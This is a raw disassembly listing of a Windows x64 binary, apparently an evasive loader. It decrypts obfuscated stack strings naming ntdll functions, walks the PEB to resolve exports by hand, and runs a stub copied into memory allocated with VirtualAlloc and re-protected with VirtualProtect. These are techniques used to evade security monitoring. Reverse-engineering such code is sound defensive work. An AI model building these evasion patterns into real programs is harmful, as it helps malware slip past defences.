mov r9d, edi
lea r8d, [rdi - 0x14]
mov dl, r14b
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbac], al
mov r9d, edi
lea r8d, [rdi - 0x13]
mov dl, 0x44
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbad], al
mov r9d, edi
lea r8d, [rdi - 0x12]
mov dl, 0x65
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbae], al
mov r9d, edi
lea r8d, [rdi - 0x11]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbaf], al
mov r9d, edi
lea r8d, [rdi - 0x10]
mov dl, 0x65
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb0], al
mov r9d, edi
mov r8, r15
mov dl, 0x63
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb1], al
mov r9d, edi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb2], al
mov r9d, edi
lea r8d, [rdi - 0xd]
mov dl, 0x65
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb3], al
mov r9d, edi
mov r8, r12
mov dl, 0x64
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb4], al
mov r9d, edi
mov r8, rsi
mov dl, reloc.WLDAP32.dll_Ordinal_33
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb5], al
mov r9d, edi
lea r8d, [rdi - 0xa]
mov dl, r14b
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb6], al
mov r9d, edi
lea r8d, [rdi - 9]
mov dl, 0x45
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb7], al
mov r9d, edi
mov r8, r13
mov dl, WSAStartup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb8], al
mov r9d, edi
lea r8d, [rdi - 7]
mov dl, WSAStartup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbb9], al
mov r9d, edi
lea r8d, [rdi - 6]
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbba], al
mov r9d, edi
lea r8d, [rdi - 5]
mov dl, WSAStartup
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbbb], al
mov r9d, edi
lea r8d, [rdi - 4]
mov dl, 0x49
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbbc], al
mov r9d, edi
lea r8d, [rdi - 3]
mov dl, 0x44
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbbd], al
mov r9d, edi
lea r8d, [rdi - 2]
mov dl, 0x3a
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbbe], al
mov r9d, edi
lea r8d, [rdi - 1]
mov dl, r14b
lea rcx, [rbp + 0xba0]
call fcn.140037270
mov byte [rbp + 0xbbf], al
xor eax, eax
mov byte [rbp + 0xbc0], al
xor esi, esi
mov r8d, esi
mov r9d, edi
lea r12d, [rdi - 0x1e]
movabs r13, 0x8080808080808081
movsx eax, byte [rbp + 0xba0]
add eax, r12d
movsxd rdi, eax
lea rax, [r8 + 0x1f]
imul rdi, rax
mov rax, r13
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xba0]
sar rdx, cl
xor dil, dl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xba1], dil
add r8, r12
add r9, 0x1f
cmp r9, 0x3e0
jb 0x140033d87
mov byte [rbp + 0xbc0], sil
mov r8, qword [rbp - 0x70]
lea rdx, [rbp + 0xba1]
lea rcx, [rbp + 0x1060]
call fcn.140038098
lea rcx, [rbp + 0xd10]
call fcn.140037da8
mov dword [rbp + 0xbd8], 0xb087111
mov word [rbp + 0xbdc], 0x5d59
mov byte [rbp + 0xbde], 0x9f
mov r9, rbx
mov r8d, 6
mov dl, WSAStartup
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbdf], al
mov r9, rbx
mov r8d, 7
mov dl, 0x61
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe0], al
mov r9, rbx
mov r8d, 8
mov dl, reloc.WS2_32.dll_WSASetLastError
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe1], al
mov r9, rbx
mov r8d, 9
mov dl, r14b
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe2], al
mov r9, rbx
mov r8d, 0xa
mov dl, 0x57
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe3], al
mov r9, rbx
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe4], al
mov r9, rbx
mov r8d, ntohs
mov dl, WSAStartup
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe5], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_listen
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe6], al
mov r9, rbx
mov r8d, select
mov dl, 0x69
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe7], al
mov r9, rbx
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, WSAGetLastError
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe8], al
mov r9, rbx
mov r8, r15
mov dl, 0x67
lea rcx, [rbp + 0xbd8]
call fcn.1400371f8
mov byte [rbp + 0xbe9], al
xor eax, eax
mov byte [rbp + 0xbea], al
mov r8, rsi
mov r9, rbx
movsx eax, byte [rbp + 0xbd8]
add eax, r12d
movsxd rdi, eax
lea rax, [r8 + 0x11]
imul rdi, rax
mov rax, r13
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xbd8]
sar rdx, cl
xor dil, dl
mov rax, r13
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xbd9], dil
add r8, r12
add r9, rbx
cmp r9, 0x132
jb 0x140033f88
mov byte [rbp + 0xbea], sil
lea rcx, [rbp + 0x1060]
call fcn.140037bec
xor r9d, r9d
lea r8, [rbp + 0xbd9]
mov rdx, rax
xor ecx, ecx
call qword [sym.imp.USER32.dll_MessageBoxA]
mov ecx, r12d
call fcn.14009cf48
int3
mov rcx, qword [rbp - 0x58]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x140033a53
mov edx, 0x5a4d
cmp word [rcx], dx
jne 0x140033a53
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x140033a51
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x140033a51
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
xor edx, edx
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x140033a51
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0xb41]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x1400340ba
inc rax
test edi, edi
jne 0x1400340a5
xor eax, eax
lea edi, [rax + 1]
test r8d, r8d
je 0x1400340d2
add rdx, rdi
cmp rdx, qword [rbp - 0x70]
jb 0x140034094
jmp 0x140033a58
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
xor eax, eax
add rdx, rcx
je 0x140033a58
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
cmp eax, edi
jl 0x140034254
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x58], rax
call fcn.140095f90
or dword [rbp + 0x4b64], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x37e0]
call fcn.14003804c
lea rcx, [rbp + 0x37e0]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea ebx, [rax + 1]
lea rcx, [rbp + 0x37e0]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x43550], rax
add rdi, rbx
cmp rdi, 0x200
jl 0x140034173
mov ebx, 0x1000
mov r8d, ebx
lea rdx, [rbp + 0x43550]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf24], eax
lea r9, [rbp + 0xf24]
mov r8d, r14d
mov edx, ebx
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x30]
call rdi
lea r9, [rbp + 0xf24]
mov r8d, dword [rbp + 0xf24]
mov edx, ebx
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
mov r8d, ebx
xor edx, edx
mov rcx, rdi
call fcn.1400bdea0
mov edx, ntohs
mov r8d, 0x8000
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_VirtualFree]
xor eax, eax
mov dword [0x1400f1364], eax
lea ebx, [rax + 0x11]
jmp 0x140033a53
xor eax, eax
jmp 0x140033a58
mov ecx, 0x1000
mov qword [rbp + 0xd98], rcx
mov rax, qword [rbp - 0x78]
mov qword [rbp + 0xdb0], rax
mov rax, qword [rbp + 0xd70]
mov qword [rsp + 0x78], rax
call fcn.140096274
mov qword [rbp - 0x78], rax
mov r8, qword [rbp + 0xd98]
xor edx, edx
mov rcx, rax
call fcn.1400bdea0
mov rax, qword [rbp + 0xd98]
mov qword [rbp - 0x30], rax
mov rax, qword [rbp + 0xdb0]
mov qword [rbp - 0x38], rax
mov byte [rbp + 0x660], Ordinal_41
mov r9, rsi
xor r8d, r8d
mov dl, Ordinal_79
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x661], al
mov r9, rsi
mov r8, rdi
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x662], al
mov r9, rsi
mov r8d, 2
mov dl, 0x57
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x663], al
mov r9, rsi
mov r8d, 3
mov dl, WSAStartup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x664], al
mov r9, rsi
mov r8d, 4
mov dl, 0x69
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x665], al
mov r9, rsi
mov r8d, 5
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x666], al
mov r9, rsi
mov r8d, 6
mov dl, 0x65
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x667], al
mov r9, rsi
mov r8d, 7
mov dl, 0x56
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x668], al
mov r9, rsi
mov r8d, 8
mov dl, 0x69
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x669], al
mov r9, rsi
mov r8d, 9
mov dl, WSAStartup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66a], al
mov r9, rsi
mov r8d, 0xa
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66b], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x75
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66c], al
mov r9, rsi
mov r8d, ntohs
mov dl, 0x61
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66d], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_listen
mov dl, 0x6c
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66e], al
mov r9, rsi
mov r8d, select
mov dl, 0x4d
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x66f], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_ntohs
mov dl, 0x65
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x670], al
mov r9, rsi
mov r8, r15
mov dl, 0x6d
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x671], al
mov r9, rsi
mov r8, rbx
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x672], al
mov r9, rsi
mov r8d, reloc.WS2_32.dll_select
mov dl, WSAStartup
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x673], al
mov r9, rsi
mov r8, r12
mov dl, 0x79
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + 0x674], al
xor eax, eax
mov byte [rbp + 0x675], al
mov edi, eax
lea r15d, [rax + 1]
mov r9, rsi
mov r8, rdi
mov dl, byte [rbp + rdi + 0x661]
lea rcx, [rbp + 0x660]
call fcn.140037880
mov byte [rbp + rdi + 0x661], al
add rdi, r15
cmp rdi, rsi
jb 0x1400344f8
xor edi, edi
mov byte [rbp + 0x675], dil
mov word [rbp + 0xf0], 0xd411
lea r9d, [rdi + 9]
mov r8, r15
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf2], al
lea r15d, [rdi + 9]
mov r9d, r15d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf3], al
mov r9d, r15d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf4], al
mov r9d, r15d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf5], al
mov r9d, r15d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf6], al
mov r9d, r15d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf7], al
mov r9d, r15d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf8], al
mov r9d, r15d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0xf0]
call fcn.140037108
mov byte [rbp + 0xf9], al
xor eax, eax
mov byte [rbp + 0xfa], al
mov r8d, edi
mov r9d, r15d
lea r15d, [rdi + 0x10]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0xf0]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0xf0]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0xf1], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x14003462e
xor r9d, r9d
mov byte [rbp + 0xfa], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x1400347bf
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x14003473d
lea r13d, [rax + 1]
mov r10d, r13d
mov rsi, qword [rsp + 0x68]
mov ecx, r10d
cmp word [rsi + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [rsi + rdx*2]
mov byte [r9 + rdx], al
add r10d, r13d
add rdx, r13
cmp rdx, r8
jl 0x140034711
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rcx + rdi], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140034799
mov rax, rcx
lea r9, [rbp + 0xf1]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140034792
add rax, r11
test edx, edx
jne 0x14003477d
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140034cf8
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x80]
jne 0x1400346c9
mov dword [rbp - 0x60], r9d
mov rcx, qword [rbp - 0x78]
call fcn.140095ff0
xor eax, eax
cmp dword [rbp - 0x60], eax
jl 0x140035182
mov word [rbp + 0x4e0], 0xab19
mov r9, r12
lea r13d, [rax + 1]
mov r8d, r13d
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e2], al
mov r9, r12
lea r8d, [r13 + 1]
mov dl, 0x46
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e3], al
mov r9, r12
lea r8d, [r13 + 2]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e4], al
mov r9, r12
lea r8d, [r13 + 3]
mov dl, 0x65
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e5], al
mov r9, r12
lea r8d, [r13 + 4]
mov dl, 0x65
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e6], al
mov r9, r12
lea r8d, [r13 + 5]
mov dl, 0x56
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e7], al
mov r9, r12
lea r8d, [r13 + 6]
mov dl, 0x69
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e8], al
mov r9, r12
lea r8d, [r13 + 7]
mov dl, WSAStartup
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4e9], al
mov r9, r12
lea r8d, [r13 + 8]
mov dl, reloc.WS2_32.dll_WSACleanup
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4ea], al
mov r9, r12
lea r8d, [r13 + 9]
mov dl, 0x75
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4eb], al
mov r9, r12
lea r8d, [r13 + 0xa]
mov dl, 0x61
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4ec], al
mov r9, r12
lea r8d, [r13 + 0xb]
mov dl, 0x6c
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4ed], al
mov r9, r12
lea r8d, [r13 + 0xc]
mov dl, 0x4d
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4ee], al
mov r9, r12
lea r8d, [r13 + 0xd]
mov dl, 0x65
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4ef], al
mov r9, r12
lea r8d, [r13 + 0xe]
mov dl, 0x6d
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4f0], al
mov r9, r12
mov r8, r15
mov dl, reloc.WS2_32.dll_WSAGetLastError
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4f1], al
mov r9, r12
mov r8, rbx
mov dl, WSAStartup
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4f2], al
mov r9, r12
lea r8d, [r13 + 0x11]
mov dl, 0x79
lea rcx, [rbp + 0x4e0]
call fcn.1400378fc
mov byte [rbp + 0x4f3], al
xor eax, eax
mov byte [rbp + 0x4f4], al
mov r8d, eax
mov r9, r12
movabs r10, 0x8080808080808081
movsx eax, byte [rbp + 0x4e0]
add eax, r13d
movsxd rdi, eax
lea rax, [r8 + 0x13]
imul rdi, rax
mov rax, r10
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x4e0]
sar rdx, cl
xor dil, dl
mov rax, r10
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x4e1], dil
add r8, r13
add r9, r12
cmp r9, 0x17c
jb 0x1400349df
xor edi, edi
mov byte [rbp + 0x4f4], dil
mov word [rbp + 0x258], 0xd251
mov byte [rbp + 0x25a], 0x51
lea r13d, [rdi + 9]
mov r9d, r13d
lea r8d, [rdi + 2]
mov dl, 0x64
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x25b], al
mov r9d, r13d
lea r8d, [rdi + 3]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x25c], al
mov r9d, r13d
lea r8d, [rdi + 4]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x25d], al
mov r9d, r13d
lea r8d, [rdi + 5]
mov dl, reloc.WLDAP32.dll_Ordinal_46
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x25e], al
mov r9d, r13d
lea r8d, [rdi + 6]
mov dl, 0x64
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x25f], al
mov r9d, r13d
lea r8d, [rdi + 7]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x260], al
mov r9d, r13d
lea r8d, [rdi + 8]
mov dl, 0x6c
lea rcx, [rbp + 0x258]
call fcn.140037108
mov byte [rbp + 0x261], al
xor eax, eax
mov byte [rbp + 0x262], al
mov r8d, edi
mov r9d, r13d
lea r13d, [rdi + 0x17]
lea r10d, [rdi + 1]
movabs r11, 0x8080808080808081
movsx eax, byte [rbp + 0x258]
add eax, r10d
movsxd rdi, eax
lea rax, [r8 + 9]
imul rdi, rax
mov rax, r11
mul rdi
shr rdx, 7
imul rax, rdx, 0xff
sub rdi, rax
mov cl, r8b
and cl, 7
shl cl, 3
movsx rdx, byte [rbp + 0x258]
sar rdx, cl
xor dil, dl
mov rax, r11
mul r9
shr rdx, 7
imul rax, rdx, 0xff
mov rcx, r9
sub rcx, rax
xor dil, cl
xor byte [rbp + r8 + 0x259], dil
add r8, r10
add r9, 9
cmp r9, 0x5a
jb 0x140034b4a
xor r9d, r9d
mov byte [rbp + 0x262], r9b
mov rax, qword gs:[0x60]
test rax, rax
je 0x140034cde
mov rax, qword [rax + 0x18]
mov rax, qword [rax + 0x20]
mov qword [rbp - 0x80], rax
mov qword [rbp - 0x58], rax
mov rax, qword [rax + 0x40]
mov qword [rsp + 0x68], rax
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_lstrlenW]
mov dword [rbp - 0x40], eax
xor ecx, ecx
mov edi, ecx
mov dword [rsp + 0x60], ecx
movsxd rcx, eax
inc rcx
call fcn.140096274
mov r9, rax
mov qword [rbp - 0x70], rax
xor eax, eax
mov edx, eax
movsxd r8, dword [rbp - 0x40]
test r8d, r8d
jle 0x140034c5c
lea esi, [rax + 1]
mov r10d, esi
mov r13, qword [rsp + 0x68]
mov ecx, r10d
cmp word [r13 + rdx*2], 0x5c
cmovne ecx, edi
mov edi, ecx
mov al, byte [r13 + rdx*2]
mov byte [rdx + r9], al
add r10d, esi
add rdx, rsi
cmp rdx, r8
jl 0x140034c2c
mov esi, reloc.WS2_32.dll_sendto
lea r13d, [rsi + 3]
mov dword [rsp + 0x60], ecx
sub r8d, edi
movsxd rdi, r8d
movsxd rdx, dword [rsp + 0x60]
add rdx, r9
mov r8, rdi
mov rcx, r9
call fcn.1400bd800
mov rcx, qword [rbp - 0x70]
xor r10d, r10d
mov byte [rdi + rcx], r10b
movzx edi, r10b
cmp qword [rsp + 0x68], r10
je 0x140034cb8
mov rax, rcx
lea r9, [rbp + 0x259]
sub r9, rcx
lea r11d, [r10 + 1]
movzx r8d, byte [rax]
movzx edx, byte [rax + r9]
sub r8d, edx
jne 0x140034cb1
add rax, r11
test edx, edx
jne 0x140034c9c
test r8d, r8d
cmove edi, r11d
call fcn.140095ff0
xor r9d, r9d
test dil, dil
jne 0x140034f36
mov rax, qword [rbp - 0x58]
mov rax, qword [rax]
mov qword [rbp - 0x58], rax
cmp rax, qword [rbp - 0x80]
jne 0x140034be5
mov eax, r9d
test eax, eax
js 0x140035182
mov r14d, 1
mov ecx, r14d
call fcn.14009cf48
int3
mov rcx, qword [rbp - 0x58]
mov rcx, qword [rcx + 0x20]
test rcx, rcx
je 0x1400347bf
mov eax, 0x5a4d
cmp word [rcx], ax
jne 0x1400347bf
movsxd rax, dword [rcx + 0x3c]
cmp dword [rax + rcx], 0x4550
jne 0x1400347bf
mov eax, dword [rax + rcx + 0x88]
add rax, rcx
je 0x1400347bf
mov r11d, dword [rax + 0x1c]
add r11, rcx
mov edx, dword [rax + 0x24]
add rdx, rcx
mov qword [rbp - 0x80], rdx
mov r10d, dword [rax + 0x20]
add r10, rcx
mov rdx, r9
mov eax, dword [rax + 0x18]
mov qword [rbp - 0x70], rax
test rax, rax
je 0x1400347bf
mov eax, dword [r10 + rdx*4]
add rax, rcx
lea r9, [rbp + 0x661]
sub r9, rax
movzx r8d, byte [rax]
movzx edi, byte [rax + r9]
sub r8d, edi
jne 0x140034d89
inc rax
test edi, edi
jne 0x140034d74
xor r9d, r9d
test r8d, r8d
je 0x140034d9f
inc rdx
cmp rdx, qword [rbp - 0x70]
jb 0x140034d63
jmp 0x1400347bf
mov rax, qword [rbp - 0x80]
movzx eax, word [rax + rdx*2]
mov edx, dword [r11 + rax*4]
add rdx, rcx
je 0x1400347bf
mov eax, dword [rdx + 4]
mov dword [rbp - 0x40], eax
mov ecx, 1
cmp eax, ecx
jl 0x1400347bf
mov edx, 0x1000
xor ecx, ecx
lea r9d, [rcx + 4]
mov r8d, 0x3000
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov qword [rbp - 0x58], rax
call fcn.140095f90
or dword [rbp + 0x5ef4], 0xffffffff
mov r8d, 0x6c078965
mov edx, eax
lea rcx, [rbp + 0x4b70]
call fcn.14003804c
lea rcx, [rbp + 0x4b70]
call fcn.140037a64
mov r8d, eax
movabs rax, 0xc0906c513cedb3
mul r8
mov ecx, r8d
sub rcx, rdx
shr rcx, 1
add rcx, rdx
shr rcx, 0xb
imul rax, rcx, 0xff4
sub r8, rax
mov qword [rbp - 0x70], r8
xor eax, eax
mov edi, eax
lea esi, [rax + 1]
lea rcx, [rbp + 0x4b70]
call fcn.140037a64
mov eax, eax
mov qword [rbp + rdi*8 + 0x44550], rax
add rdi, rsi
cmp rdi, 0x200
jl 0x140034e43
mov esi, 0x1000
mov r8d, esi
lea rdx, [rbp + 0x44550]
mov rdi, qword [rbp - 0x58]
mov rcx, rdi
call fcn.1400bd800
mov eax, dword [rbp - 0x40]
mov dword [0x1400f1364], eax
add rdi, qword [rbp - 0x70]
movsd xmm0, qword [0x1400f1360]
movsd qword [rdi], xmm0
movzx eax, word [0x1400f1368]
mov word [rdi + 8], ax
mov al, byte [0x1400f136a]
mov byte [rdi + 0xa], al
xor eax, eax
mov dword [rbp + 0xf20], eax
lea r9, [rbp + 0xf20]
mov r8d, r14d
mov edx, esi
mov rcx, qword [rbp - 0x58]
call qword [sym.imp.KERNEL32.dll_VirtualProtect]
xor eax, eax
mov qword [rsp + 0x20], rax
mov r9, qword [rbp - 0x30]
mov r8, qword [rbp - 0x78]
